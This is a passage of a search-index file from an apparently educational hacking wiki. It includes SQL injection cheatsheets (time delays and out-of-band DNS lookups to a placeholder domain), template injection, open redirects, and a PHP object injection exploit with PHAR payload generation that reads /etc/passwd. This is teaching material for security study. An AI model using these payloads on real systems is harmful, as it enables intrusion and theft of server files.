bs":4,"title":1},"4":{"body":77,"breadcrumbs":3,"title":1},"40":{"body":37,"breadcrumbs":5,"title":1},"400":{"body":36,"breadcrumbs":4,"title":1},"401":{"body":49,"breadcrumbs":12,"title":3},"402":{"body":29,"breadcrumbs":12,"title":3},"403":{"body":31,"breadcrumbs":13,"title":4},"404":{"body":0,"breadcrumbs":2,"title":2},"405":{"body":16,"breadcrumbs":5,"title":1},"406":{"body":146,"breadcrumbs":6,"title":2},"407":{"body":489,"breadcrumbs":7,"title":3},"408":{"body":23,"breadcrumbs":8,"title":1},"409":{"body":115,"breadcrumbs":9,"title":2},"41":{"body":61,"breadcrumbs":7,"title":3},"410":{"body":142,"breadcrumbs":7,"title":1},"411":{"body":133,"breadcrumbs":8,"title":1},"412":{"body":94,"breadcrumbs":9,"title":2},"413":{"body":264,"breadcrumbs":10,"title":3},"414":{"body":106,"breadcrumbs":10,"title":3},"415":{"body":24,"breadcrumbs":9,"title":2},"416":{"body":123,"breadcrumbs":2,"title":1},"417":{"body":74,"breadcrumbs":3,"title":2},"418":{"body":66,"breadcrumbs":3,"title":2},"419":{"body":363,"breadcrumbs":3,"title":2},"42":{"body":11,"breadcrumbs":7,"title":2},"420":{"body":83,"breadcrumbs":2,"title":1},"421":{"body":29,"breadcrumbs":4,"title":1},"422":{"body":155,"breadcrumbs":5,"title":2},"423":{"body":0,"breadcrumbs":4,"title":1},"424":{"body":198,"breadcrumbs":5,"title":1},"425":{"body":207,"breadcrumbs":7,"title":3},"426":{"body":640,"breadcrumbs":6,"title":2},"427":{"body":184,"breadcrumbs":8,"title":1},"428":{"body":64,"breadcrumbs":9,"title":2},"429":{"body":28,"breadcrumbs":9,"title":2},"43":{"body":159,"breadcrumbs":6,"title":1},"430":{"body":239,"breadcrumbs":5,"title":1},"431":{"body":140,"breadcrumbs":7,"title":1},"432":{"body":69,"breadcrumbs":8,"title":2},"433":{"body":104,"breadcrumbs":7,"title":1},"434":{"body":29,"breadcrumbs":11,"title":1},"435":{"body":131,"breadcrumbs":13,"title":3},"436":{"body":240,"breadcrumbs":15,"title":5},"437":{"body":81,"breadcrumbs":12,"title":2},"438":{"body":59,"breadcrumbs":12,"title":2},"439":{"body":0,"breadcrumbs":12,"title":1},"44":{"body":55,"breadcrumbs":6,"title":1},"440":{"body":0,"breadcrumbs":7,"title":1},"441":{"body":0,"breadcrumbs":10,"title":1},"442":{"body":131,"breadcrumbs":11,"title":1},"443":{"body":25,"breadcrumbs":12,"title":2},"444":{"body":65,"breadcrumbs":11,"title":1},"445":{"body":89,"breadcrumbs":12,"title":2},"446":{"body":9,"breadcrumbs":11,"title":1},"447":{"body":40,"breadcrumbs":11,"title":1},"448":{"body":38,"breadcrumbs":11,"title":1},"449":{"body":64,"breadcrumbs":10,"title":1},"45":{"body":0,"breadcrumbs":6,"title":1},"450":{"body":217,"breadcrumbs":10,"title":1},"451":{"body":117,"breadcrumbs":13,"title":4},"452":{"body":152,"breadcrumbs":13,"title":4},"453":{"body":25,"breadcrumbs":11,"title":1},"454":{"body":184,"breadcrumbs":12,"title":2},"455":{"body":80,"breadcrumbs":12,"title":2},"456":{"body":44,"breadcrumbs":9,"title":1},"457":{"body":78,"breadcrumbs":12,"title":4},"458":{"body":90,"breadcrumbs":13,"title":5},"459":{"body":207,"breadcrumbs":11,"title":3},"46":{"body":71,"breadcrumbs":6,"title":1},"460":{"body":41,"breadcrumbs":7,"title":1},"461":{"body":116,"breadcrumbs":8,"title":2},"462":{"body":391,"breadcrumbs":9,"title":1},"463":{"body":135,"breadcrumbs":11,"title":3},"464":{"body":39,"breadcrumbs":9,"title":1},"465":{"body":322,"breadcrumbs":10,"title":2},"466":{"body":350,"breadcrumbs":10,"title":2},"467":{"body":94,"breadcrumbs":8,"title":1},"468":{"body":191,"breadcrumbs":9,"title":2},"469":{"body":47,"breadcrumbs":9,"title":2},"47":{"body":148,"breadcrumbs":13,"title":8},"470":{"body":128,"breadcrumbs":8,"title":1},"471":{"body":311,"breadcrumbs":9,"title":2},"472":{"body":296,"breadcrumbs":10,"title":1},"473":{"body":123,"breadcrumbs":8,"title":1},"474":{"body":28,"breadcrumbs":11,"title":4},"475":{"body":96,"breadcrumbs":9,"title":1},"476":{"body":229,"breadcrumbs":11,"title":3},"477":{"body":151,"breadcrumbs":9,"title":1},"478":{"body":85,"breadcrumbs":10,"title":2},"479":{"body":0,"breadcrumbs":10,"title":2},"48":{"body":75,"breadcrumbs":9,"title":4},"480":{"body":298,"breadcrumbs":6,"title":2},"481":{"body":351,"breadcrumbs":6,"title":2},"482":{"body":229,"breadcrumbs":4,"title":1},"483":{"body":51,"breadcrumbs":5,"title":2},"484":{"body":50,"breadcrumbs":5,"title":2},"485":{"body":74,"breadcrumbs":4,"title":1},"486":{"body":97,"breadcrumbs":4,"title":1},"487":{"body":272,"breadcrumbs":5,"title":2},"488":{"body":22,"breadcrumbs":5,"title":2},"489":{"body":23,"breadcrumbs":4,"title":1},"49":{"body":323,"breadcrumbs":9,"title":4},"490":{"body":30,"breadcrumbs":4,"title":1},"491":{"body":29,"breadcrumbs":4,"title":1},"492":{"body":117,"breadcrumbs":4,"title":1},"493":{"body":111,"breadcrumbs":5,"title":2},"494":{"body":207,"breadcrumbs":4,"title":1},"495":{"body":82,"breadcrumbs":4,"title":1},"496":{"body":39,"breadcrumbs":5,"title":2},"497":{"body":79,"breadcrumbs":5,"title":2},"498":{"body":174,"breadcrumbs":5,"title":2},"499":{"body":176,"breadcrumbs":4,"title":1},"5":{"body":6,"breadcrumbs":3,"title":1},"50":{"body":110,"breadcrumbs":12,"title":7},"500":{"body":178,"breadcrumbs":5,"title":1},"501":{"body":167,"breadcrumbs":6,"title":2},"502":{"body":352,"breadcrumbs":7,"title":3},"503":{"body":89,"breadcrumbs":7,"title":3},"504":{"body":0,"breadcrumbs":6,"title":2},"505":{"body":8,"breadcrumbs":2,"title":1},"506":{"body":0,"breadcrumbs":3,"title":1},"507":{"body":0,"breadcrumbs":5,"title":1},"508":{"body":23,"breadcrumbs":10,"title":1},"509":{"body":69,"breadcrumbs":11,"title":2},"51":{"body":6,"breadcrumbs":6,"title":1},"510":{"body":94,"breadcrumbs":13,"title":4},"511":{"body":131,"breadcrumbs":12,"title":3},"512":{"body":51,"breadcrumbs":11,"title":1},"513":{"body":45,"breadcrumbs":12,"title":2},"514":{"body":159,"breadcrumbs":12,"title":2},"515":{"body":38,"breadcrumbs":13,"title":3},"516":{"body":39,"breadcrumbs":13,"title":3},"517":{"body":75,"breadcrumbs":13,"title":3},"518":{"body":44,"breadcrumbs":12,"title":1},"519":{"body":207,"breadcrumbs":12,"title":1},"52":{"body":0,"breadcrumbs":5,"title":1},"520":{"body":46,"breadcrumbs":13,"title":2},"521":{"body":74,"breadcrumbs":12,"title":1},"522":{"body":35,"breadcrumbs":15,"title":1},"523":{"body":19,"breadcrumbs":17,"title":3},"524":{"body":28,"breadcrumbs":12,"title":1},"525":{"body":28,"breadcrumbs":13,"title":2},"526":{"body":31,"breadcrumbs":12,"title":1},"527":{"body":25,"breadcrumbs":15,"title":4},"528":{"body":70,"breadcrumbs":20,"title":9},"529":{"body":32,"breadcrumbs":14,"title":3},"53":{"body":77,"breadcrumbs":5,"title":1},"530":{"body":109,"breadcrumbs":13,"title":2},"531":{"body":75,"breadcrumbs":14,"title":3},"532":{"body":49,"breadcrumbs":12,"title":1},"533":{"body":41,"breadcrumbs":13,"title":2},"534":{"body":24,"breadcrumbs":14,"title":3},"535":{"body":258,"breadcrumbs":12,"title":1},"536":{"body":16,"breadcrumbs":12,"title":1},"537":{"body":106,"breadcrumbs":12,"title":1},"538":{"body":333,"breadcrumbs":13,"title":2},"539":{"body":100,"breadcrumbs":13,"title":2},"54":{"body":127,"breadcrumbs":6,"title":2},"540":{"body":0,"breadcrumbs":9,"title":1},"541":{"body":24,"breadcrumbs":6,"title":1},"542":{"body":258,"breadcrumbs":7,"title":2},"543":{"body":96,"breadcrumbs":7,"title":2},"544":{"body":40,"breadcrumbs":10,"title":5},"545":{"body":39,"breadcrumbs":7,"title":2},"546":{"body":247,"breadcrumbs":7,"title":2},"547":{"body":8,"breadcrumbs":7,"title":2},"548":{"body":8,"breadcrumbs":9,"title":4},"549":{"body":125,"breadcrumbs":8,"title":1},"55":{"body":0,"breadcrumbs":2,"title":1},"550":{"body":9,"breadcrumbs":10,"title":3},"551":{"body":219,"breadcrumbs":9,"title":2},"552":{"body":20,"breadcrumbs":10,"title":3},"553":{"body":30,"breadcrumbs":10,"title":3},"554":{"body":152,"breadcrumbs":11,"title":4},"555":{"body":29,"breadcrumbs":8,"title":1},"556":{"body":70,"breadcrumbs":12,"title":5},"557":{"body":256,"breadcrumbs":11,"title":4},"558":{"body":51,"breadcrumbs":12,"title":5},"559":{"body":81,"breadcrumbs":9,"title":2},"56":{"body":0,"breadcrumbs":5,"title":2},"560":{"body":18,"breadcrumbs":13,"title":6},"561":{"body":43,"breadcrumbs":9,"title":2},"562":{"body":144,"breadcrumbs":9,"title":2},"563":{"body":88,"breadcrumbs":8,"title":1},"564":{"body":74,"breadcrumbs":9,"title":2},"565":{"body":9,"breadcrumbs":9,"title":2},"566":{"body":36,"breadcrumbs":9,"title":2},"567":{"body":43,"breadcrumbs":9,"title":2},"568":{"body":75,"breadcrumbs":10,"title":3},"569":{"body":75,"breadcrumbs":8,"title":1},"57":{"body":70,"breadcrumbs":7,"title":2},"570":{"body":0,"breadcrumbs":9,"title":1},"571":{"body":36,"breadcrumbs":10,"title":1},"572":{"body":0,"breadcrumbs":14,"title":5},"573":{"body":30,"breadcrumbs":11,"title":2},"574":{"body":120,"breadcrumbs":11,"title":2},"575":{"body":205,"breadcrumbs":11,"title":2},"576":{"body":184,"breadcrumbs":11,"title":2},"577":{"body":9,"breadcrumbs":11,"title":2},"578":{"body":76,"breadcrumbs":11,"title":2},"579":{"body":63,"breadcrumbs":10,"title":1},"58":{"body":65,"breadcrumbs":9,"title":1},"580":{"body":116,"breadcrumbs":11,"title":2},"581":{"body":50,"breadcrumbs":11,"title":2},"582":{"body":48,"breadcrumbs":10,"title":1},"583":{"body":15,"breadcrumbs":14,"title":5},"584":{"body":0,"breadcrumbs":11,"title":2},"585":{"body":40,"breadcrumbs":10,"title":1},"586":{"body":32,"breadcrumbs":11,"title":2},"587":{"body":0,"breadcrumbs":11,"title":2},"588":{"body":148,"breadcrumbs":14,"title":5},"589":{"body":22,"breadcrumbs":12,"title":3},"59":{"body":365,"breadcrumbs":9,"title":1},"590":{"body":320,"breadcrumbs":11,"title":2},"591":{"body":116,"breadcrumbs":12,"title":3},"592":{"body":29,"breadcrumbs":12,"title":3},"593":{"body":24,"breadcrumbs":11,"title":2},"594":{"body":357,"breadcrumbs":12,"title":3},"595":{"body":0,"breadcrumbs":7,"title":1},"596":{"body":0,"breadcrumbs":7,"title":1},"597":{"body":41,"breadcrumbs":8,"title":1},"598":{"body":11,"breadcrumbs":8,"title":1},"599":{"body":31,"breadcrumbs":9,"title":2},"6":{"body":51,"breadcrumbs":4,"title":2},"60":{"body":20,"breadcrumbs":7,"title":2},"600":{"body":52,"breadcrumbs":10,"title":3},"601":{"body":75,"breadcrumbs":11,"title":4},"602":{"body":48,"breadcrumbs":10,"title":3},"603":{"body":27,"breadcrumbs":15,"title":8},"604":{"body":36,"breadcrumbs":10,"title":3},"605":{"body":40,"breadcrumbs":13,"title":6},"606":{"body":128,"breadcrumbs":10,"title":1},"607":{"body":15,"breadcrumbs":8,"title":1},"608":{"body":40,"breadcrumbs":10,"title":3},"609":{"body":0,"breadcrumbs":9,"title":2},"61":{"body":163,"breadcrumbs":9,"title":1},"610":{"body":76,"breadcrumbs":11,"title":4},"611":{"body":86,"breadcrumbs":12,"title":5},"612":{"body":36,"breadcrumbs":12,"title":5},"613":{"body":24,"breadcrumbs":12,"title":5},"614":{"body":0,"breadcrumbs":7,"title":1},"615":{"body":68,"breadcrumbs":8,"title":1},"616":{"body":46,"breadcrumbs":10,"title":1},"617":{"body":43,"breadcrumbs":10,"title":1},"618":{"body":89,"breadcrumbs":11,"title":2},"619":{"body":159,"breadcrumbs":13,"title":4},"62":{"body":64,"breadcrumbs":12,"title":4},"620":{"body":82,"breadcrumbs":11,"title":2},"621":{"body":135,"breadcrumbs":12,"title":3},"622":{"body":0,"breadcrumbs":8,"title":1},"623":{"body":24,"breadcrumbs":8,"title":1},"624":{"body":26,"breadcrumbs":8,"title":1},"625":{"body":38,"breadcrumbs":8,"title":1},"626":{"body":26,"breadcrumbs":11,"title":4},"627":{"body":32,"breadcrumbs":10,"title":3},"628":{"body":13,"breadcrumbs":8,"title":1},"629":{"body":10,"breadcrumbs":9,"title":2},"63":{"body":160,"breadcrumbs":10,"title":2},"630":{"body":28,"breadcrumbs":9,"title":2},"631":{"body":29,"breadcrumbs":9,"title":2},"632":{"body":59,"breadcrumbs":8,"title":1},"633":{"body":49,"breadcrumbs":9,"title":2},"634":{"body":68,"breadcrumbs":8,"title":1},"635":{"body":118,"breadcrumbs":14,"title":7},"636":{"body":49,"breadcrumbs":9,"title":2},"637":{"body":22,"breadcrumbs":9,"title":2},"638":{"body":85,"breadcrumbs":9,"title":2},"639":{"body":39,"breadcrumbs":6,"title":1},"64":{"body":411,"breadcrumbs":11,"title":3},"640":{"body":45,"breadcrumbs":7,"title":1},"641":{"body":85,"breadcrumbs":8,"title":2},"642":{"body":43,"breadcrumbs":10,"title":4},"643":{"body":28,"breadcrumbs":7,"title":1},"644":{"body":207,"breadcrumbs":8,"title":2},"645":{"body":63,"breadcrumbs":7,"title":1},"646":{"body":40,"breadcrumbs":8,"title":2},"647":{"body":45,"breadcrumbs":9,"title":3},"648":{"body":41,"breadcrumbs":10,"title":4},"649":{"body":35,"breadcrumbs":9,"title":3},"65":{"body":103,"breadcrumbs":9,"title":2},"650":{"body":101,"breadcrumbs":8,"title":2},"651":{"body":48,"breadcrumbs":8,"title":2},"652":{"body":37,"breadcrumbs":8,"title":2},"653":{"body":68,"breadcrumbs":9,"title":3},"654":{"body":15,"breadcrumbs":9,"title":3},"655":{"body":374,"breadcrumbs":7,"title":1},"656":{"body":170,"breadcrumbs":7,"title":1},"657":{"body":65,"breadcrumbs":7,"title":1},"658":{"body":83,"breadcrumbs":8,"title":2},"659":{"body":178,"breadcrumbs":9,"title":3},"66":{"body":5,"breadcrumbs":9,"title":2},"660":{"body":0,"breadcrumbs":8,"title":2},"661":{"body":182,"breadcrumbs":6,"title":1},"662":{"body":212,"breadcrumbs":8,"title":3},"663":{"body":108,"breadcrumbs":7,"title":2},"664":{"body":17,"breadcrumbs":3,"title":1},"665":{"body":0,"breadcrumbs":4,"title":2},"666":{"body":0,"breadcrumbs":3,"title":1},"667":{"body":83,"breadcrumbs":8,"title":2},"668":{"body":31,"breadcrumbs":8,"title":2},"669":{"body":26,"breadcrumbs":8,"title":2},"67":{"body":128,"breadcrumbs":9,"title":2},"670":{"body":23,"breadcrumbs":8,"title":2},"671":{"body":26,"breadcrumbs":8,"title":2},"672":{"body":33,"breadcrumbs":8,"title":2},"673":{"body":24,"breadcrumbs":9,"title":3},"674":{"body":22,"breadcrumbs":8,"title":2},"675":{"body":55,"breadcrumbs":8,"title":2},"676":{"body":50,"breadcrumbs":10,"title":1},"677":{"body":0,"breadcrumbs":10,"title":1},"678":{"body":284,"breadcrumbs":12,"title":3},"679":{"body":187,"breadcrumbs":12,"title":3},"68":{"body":21,"breadcrumbs":9,"title":2},"680":{"body":265,"breadcrumbs":11,"title":2},"681":{"body":38,"breadcrumbs":11,"title":2},"682":{"body":30,"breadcrumbs":14,"title":5},"683":{"body":64,"breadcrumbs":13,"title":4},"684":{"body":51,"breadcrumbs":13,"title":4},"685":{"body":52,"breadcrumbs":14,"title":5},"686":{"body":56,"breadcrumbs":11,"title":2},"687":{"body":0,"breadcrumbs":12,"title":3},"688":{"body":30,"breadcrumbs":11,"title":2},"689":{"body":13,"breadcrumbs":11,"title":2},"69":{"body":24,"breadcrumbs":8,"title":1},"690":{"body":16,"breadcrumbs":11,"title":2},"691":{"body":34,"breadcrumbs":10,"title":1},"692":{"body":79,"breadcrumbs":11,"title":2},"693":{"body":0,"breadcrumbs":8,"title":3},"694":{"body":306,"breadcrumbs":3,"title":1},"695":{"body":194,"breadcrumbs":3,"title":1},"696":{"body":123,"breadcrumbs":4,"title":2},"697":{"body":150,"breadcrumbs":4,"title":2},"7":{"body":69,"breadcrumbs":4,"title":2},"70":{"body":182,"breadcrumbs":8,"title":1},"71":{"body":203,"breadcrumbs":8,"title":1},"72":{"body":66,"breadcrumbs":10,"title":1},"73":{"body":28,"breadcrumbs":10,"title":1},"74":{"body":130,"breadcrumbs":10,"title":1},"75":{"body":28,"breadcrumbs":11,"title":2},"76":{"body":16,"breadcrumbs":12,"title":3},"77":{"body":30,"breadcrumbs":10,"title":1},"78":{"body":87,"breadcrumbs":13,"title":4},"79":{"body":23,"breadcrumbs":11,"title":2},"8":{"body":63,"breadcrumbs":3,"title":1},"80":{"body":477,"breadcrumbs":10,"title":1},"81":{"body":116,"breadcrumbs":8,"title":1},"82":{"body":123,"breadcrumbs":10,"title":3},"83":{"body":142,"breadcrumbs":13,"title":6},"84":{"body":12,"breadcrumbs":10,"title":3},"85":{"body":4,"breadcrumbs":8,"title":1},"86":{"body":42,"breadcrumbs":9,"title":2},"87":{"body":0,"breadcrumbs":3,"title":1},"88":{"body":0,"breadcrumbs":6,"title":2},"89":{"body":35,"breadcrumbs":7,"title":1},"9":{"body":16,"breadcrumbs":3,"title":1},"90":{"body":21,"breadcrumbs":8,"title":3},"91":{"body":7,"breadcrumbs":8,"title":3},"92":{"body":7,"breadcrumbs":8,"title":3},"93":{"body":62,"breadcrumbs":6,"title":1},"94":{"body":95,"breadcrumbs":7,"title":2},"95":{"body":49,"breadcrumbs":7,"title":1},"96":{"body":31,"breadcrumbs":10,"title":4},"97":{"body":47,"breadcrumbs":12,"title":6},"98":{"body":22,"breadcrumbs":7,"title":2},"99":{"body":19,"breadcrumbs":7,"title":2}},"docs":{"0":{"body":"The Cyberclopaedia This is an aspiring project aimed at accumulating knowledge from the world of cybersecurity and presenting it in a cogent way, so it is accessible to as large an audience as possible and so that everyone has a good resource to learn hacking from. Warning The information here is for educational purposes only.","breadcrumbs":"Cyberclopaedia","id":"0","title":"Cyberclopaedia"},"1":{"body":"The Cyberclopaedia is open to contribution from everyone via pull requests on the Cyberclopaedia GitHub repository . When contributing new content, please ensure that it is as relevant as possible, contains detailed (and yet tractable) explanations and is accompanied by diagrams where appropriate.","breadcrumbs":"Cyberclopaedia ยป Contributing ยป Overview","id":"1","title":"Overview"},"10":{"body":"MIT License Copyright (c) 2023 Cyberclopaedia Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the โ€œSoftwareโ€), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED โ€œAS ISโ€, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.","breadcrumbs":"Cyberclopaedia ยป License","id":"10","title":"Cyberclopaedia"},"100":{"body":"Listing tables and the columns they contain: Database Contents Info Oracle SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'Table Name' Microsoft SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'Table Name' PostgreSQL SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'Table Name' MySQL SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'Table Name'","breadcrumbs":"Exploitation ยป Web ยป SQL Injection ยป Cheatsheets ยป Database Contents","id":"100","title":"Database Contents"},"101":{"body":"Database Concatenation Oracle 'a'||'b' Microsoft 'a'+'b' PostgreSQL 'a'||'b' MySQL 'a' 'b' (space) or CONCAT('a','b')","breadcrumbs":"Exploitation ยป Web ยป SQL Injection ยป Cheatsheets ยป String Concatenation","id":"101","title":"String Concatenation"},"102":{"body":"Replace delay with the desired delay in seconds. Database | Delay Syntax ---------| ------------ Oracle| dbms_pipe.receive_message(('a'),delay) Microsoft| WAITFOR DELAY 'hours:minutes:seconds' PostgreSQL| SELECT pg_sleep(delay) MySQL| SELECT sleep(delay)","breadcrumbs":"Exploitation ยป Web ยป SQL Injection ยป Cheatsheets ยป Unconditional Time Delays","id":"102","title":"Unconditional Time Delays"},"103":{"body":"Database Lookup Syntax Oracle SELECT UTL_INADDR.get_host_address('domain') - requires elevated privileges Microsoft exec master..xp_dirtree '//domain/a' PostgreSQL copy (SELECT '') to program 'nslookup domain MySQL These work only on Windows LOAD_FILE('\\\\\\\\domain\\\\a') SELECT ... INTO OUTFILE '\\\\\\\\domain\\a'","breadcrumbs":"Exploitation ยป Web ยป SQL Injection ยป Cheatsheets ยป DNS Lookups","id":"103","title":"DNS Lookups"},"104":{"body":"Template Injection occurs when an attacker injects malicious template code into an input field and the templating engine doesn't sanitise the input. As such, the expression provided by the attacker may be evaluated and can lead to all sorts of nasty vulnerabilities such as RCE.","breadcrumbs":"Exploitation ยป Web ยป Template Injection ยป Overview","id":"104","title":"Overview"},"105":{"body":"SSTI occurs when the injection happens on the server-side. Templating engines are associated with different programming languages, so you might be able to execute code in that language when SSTI occurs. Testing for SSTI is template engine-dependent because different engines make use of a different syntax. It is, however, common to see templates enclosed in two pairs of {{}}. You should look for places in a webpage where user input is reflected. If you inject {{7*'7'}} and see 49 or 7777777 somewhere, then you know you have SSTI. This syntax isn't standard. You will need to identify the running template engine and use the correct syntax.","breadcrumbs":"Exploitation ยป Web ยป Template Injection ยป Server-Side Template Injection","id":"105","title":"Server-Side Template Injection"},"106":{"body":"This vulnerability occurs in client template engines, which are written in Javascript. Such engines are Google's AngularJS and Facebook's ReactJS. CSTI typically occur in browser, so they typically cannot be used for RCE, but may be exploited for XSS. This can be difficult, since most engines do a good job at sanitising input and preventing XSS. When interacting with ReactJS, you should look for dangerouslySetInnerHTML function calls where you can modify the input. This function intentionally bypasses React's XSS protections. AngularJS versions before 1.6 include a sandbox in order to limit the available Javascript functions, but bypasses have been found. You can check the AngularJS version by typing Angular.version in the developer console. A list of bypasses can be found at https://pastebin.com/xMXwsm0N, however, more are surely available online.","breadcrumbs":"Exploitation ยป Web ยป Template Injection ยป Client-Side Template Injection","id":"106","title":"Client-Side Template Injection"},"107":{"body":"Open redirect vulnerabilities occur when a target visits a website which sends their browser to another URL. These attacks only redirect users and as such are often considered to be of low severity.","breadcrumbs":"Exploitation ยป Web ยป Open Redirect ยป Overview","id":"107","title":"Overview"},"108":{"body":"Open redirects occur when a developer mistrusts user input, which redirects to another site, usually via a URL parameter, HTML tags, or the DOM window location property.","breadcrumbs":"Exploitation ยป Web ยป Open Redirect ยป How Do They Work","id":"108","title":"How Do They Work"},"109":{"body":"Suppose that Google could redirect users to their Gmail service via the following URL: https://www.google.com/?redirect_to=https://www.gmail.com In this case, visiting www.google.com would result in your browser sending an HTTP request to the Google web server. The server would process this request and return a status code - typically 302, although it may sometimes be 301, 303, 307, or 308. This code would inform the browser that the page has been found, however, it would also tell it to make an additional HTTP request to www.gmail.com. This will be noted in the Location: header of the HTTP response. This header specifies where to redirect GET requests. An attacker could change the value of the redirect_to parameter and forward you to their malicious server. Common redirection parameter names include url=, redirect=, next=, however, they may also be denoted by a single letter at times.","breadcrumbs":"Exploitation ยป Web ยป Open Redirect ยป URL Parameter Redirect","id":"109","title":"URL Parameter Redirect"},"11":{"body":"","breadcrumbs":"Reconnaissance ยป Introduction","id":"11","title":"Introduction"},"110":{"body":"HTML tags can tell a browser to reload a page and make a GET request to a specified URL. This URL is defined in the tag's content attribute. This is an example of such a tag: First, the content attribute defines the number of seconds the browser should wait before making the request to the URL. Secondly, it specifies the URL to make the request to.","breadcrumbs":"Exploitation ยป Web ยป Open Redirect ยป Meta Refresh Tag Redirect","id":"110","title":"Meta Refresh Tag Redirect"},"111":{"body":"Open redirects can be exploited by modifying the window's location property through the Document Object Model. This property denotes where a request should be redirected to. An attacker may change the location property through any of the following ways: window.location = https://www.google.com/ window.location.href = https://www.google.com window.location.replace(https://www.google.com) This type of open redirect is usually chained with some sort of XSS.","breadcrumbs":"Exploitation ยป Web ยป Open Redirect ยป Javascript Redirect","id":"111","title":"Javascript Redirect"},"112":{"body":"PHP Object Injection is a type of an insecure deserialisation attack which can result in arbitrary code execution.","breadcrumbs":"Exploitation ยป Web ยป PHP Object Injection ยป Introduction","id":"112","title":"Introduction"},"113":{"body":"PHP Magic Methods are a set of reserved methods for PHP objects which can be defined and which are automatically invoked in certain situations. Whilst it is possible to achieve code execution entirely by using normal methods on objects, magic methods can make the process easier.","breadcrumbs":"Exploitation ยป Web ยป PHP Object Injection ยป Magic Methods","id":"113","title":"Magic Methods"},"114":{"body":"PHP has functionally which allows arbitrary objects to be turned into strings and then later retrieved as objects from those same strings. This is achieved through the serialize() and unserialize() functions. When an adversary has control over the object which gets deserialised, they can manipulate the input in such a way to make the PHP script perform arbitrary actions. name = \"cr0mll\";\n$user->isAdmin = False; echo serialize($user);\n?> The serialisation string follows the type:data paradigm and has the following structure: Type Format Boolean b:value Integer i:value Float d:value String s:length:\"value\" Array a:size:{values} Object O:name_length:\"Class_name\":number_of_properties:{properties}","breadcrumbs":"Exploitation ยป Web ยป PHP Object Injection ยป Serialisation","id":"114","title":"Serialisation"},"115":{"body":"Deserialisation is the inverse operation - the unserialize() function takes a string and converts it to a PHP object (or normal variable). When the string passed to unserialize() is user-controlled, an adversary can craft a custom string which will result in an object with values of the attacker's choice. When these values are later used by the PHP application, they can alter its behaviour. Take a look at the following example: filename); }\n} class User\n{ public $name; public $isAdmin;\n} $user = unserialize($_POST['user']); if $user->isAdmin\n{ echo $user->name . \" is an admin.\\n\"\n}\nelse\n{ echo $user->name . \" is not an admin.\\n\"\n}\n?> In order to achieve arbitrary code execution, object injection relies on PHP Gadgets - pieces of code (typically classes) that the PHP script has access to. Usually, PHP code runs in some sort of a framework - when this is true, it is rather easy to find gadgets. Here, however, we do not have that luxury. The User class is only a storage container - it has no functionality. On the other hand, the LoadFile class can do some stuff. It has the __tostring magic method defined and it returns the contents of the file with the provided filename. We can manipulate the user object. Therefore, it is possible to set its name to an object - namely a LoadFile object with the file name set to anything we like. When the server receives this malicious user with an embedded LoadFile object, it is going to attempt to turn it into a string when echo is called. The embedded LoadFile object has its filename set to /etc/passwd for example, and so file_get_contents() is going to read this file, return its contents as a string and echo will print them out for us. Here is the exploit code: filename); }\n} class User\n{ public $name; public $isAdmin;\n} $obj = new LoadFile();\n$obj->filename = \"/etc/passwd\"; $user = new User();\n$user->name = $obj;\n$user->isAdmin = true; echo serialize($user);\n?> When we run this, we get the following serialisation string for the malicious user: O:4:\"User\":2:{s:4:\"name\";O:8:\"LoadFile\":1:{s:8:\"filename\";s:11:\"/etc/passwd\";}s:7:\"isAdmin\";b:1;} If we send it in a post request to the server, it will retrieve /etc/passwd for us:","breadcrumbs":"Exploitation ยป Web ยป PHP Object Injection ยป Deserialisation","id":"115","title":"Deserialisation"},"116":{"body":"Never allow direct user control over the data passed to unserialize().","breadcrumbs":"Exploitation ยป Web ยป PHP Object Injection ยป Prevention","id":"116","title":"Prevention"},"117":{"body":"PHAR is the PHP Archive format and can allow for object injection even when there is no direct unserialize() call - provided that there is a way to upload a file to the server. Phar archives require neither a specific extension nor a set of magic bytes for identification which makes them especially useful for bypassing file upload filters. The format of the archive is the following: Stub - must contain Manifest Metadata - contains the serialised data Contents - the archive contents Signature - for integrity verification You would be quick to think that you can just inject code into the stub and it will be executed, but that is not the case. Where the stub really shines is the fact that it can contain anything before the part. This means that the stub can be used to imitate other file formats. Under the hood, PHAR stores metadata in a PHP-serialised format which needs to be deserialised when PHP uses the archive. In order for this to happen, the server needs to access the archive using the phar:// stream wrapper. It is for this reason that a way of uploading files to it is necessary.","breadcrumbs":"Exploitation ยป Web ยป PHP Object Injection ยป PHAR Files","id":"117","title":"PHAR Files"},"118":{"body":"If you try generating a phar file using PHP, you will likely run into the following error: In this case, you will need to set phar.readonly = Off in your /etc/php//cli/php.ini file (this is not required on the server, only on your machine). Afterwards, you can use the following code to generate the phar file: startBuffering(); $prefix = ...; # The data used for imitating another file format\n$phar->setStub($prefix . \"\"); $payload = ...; # Object injection payload\n$phar->setMetadata(serialize($payload)); $phar->addFromString(\"test.txt\", \"test\"); # Optional\n$phar->stopBuffering();\n?> The extension of the file can then be changed to anything. Subsequently, the file will need to be uploaded to the server. Once it is there, a way to make the server perform a file operation with phar:// is required. Additionally, there are a few caveats which need to be taken into account. The payload inside the object injection chain may only use the __wakeup() and __destruct() magic methods. Moreover, any file paths inside it must be absolute because phar files deal with context in a weird way when they are loaded.","breadcrumbs":"Exploitation ยป Web ยป PHP Object Injection ยป Generating the Payload","id":"118","title":"Generating the Payload"},"119":{"body":"The only way to completely prevent phar file abusing is to disable the phar:// stream wrapper altogether: stream_wrapper_unregister('phar');","breadcrumbs":"Exploitation ยป Web ยป PHP Object Injection ยป Prevention","id":"119","title":"Prevention"},"12":{"body":"Network scanning is 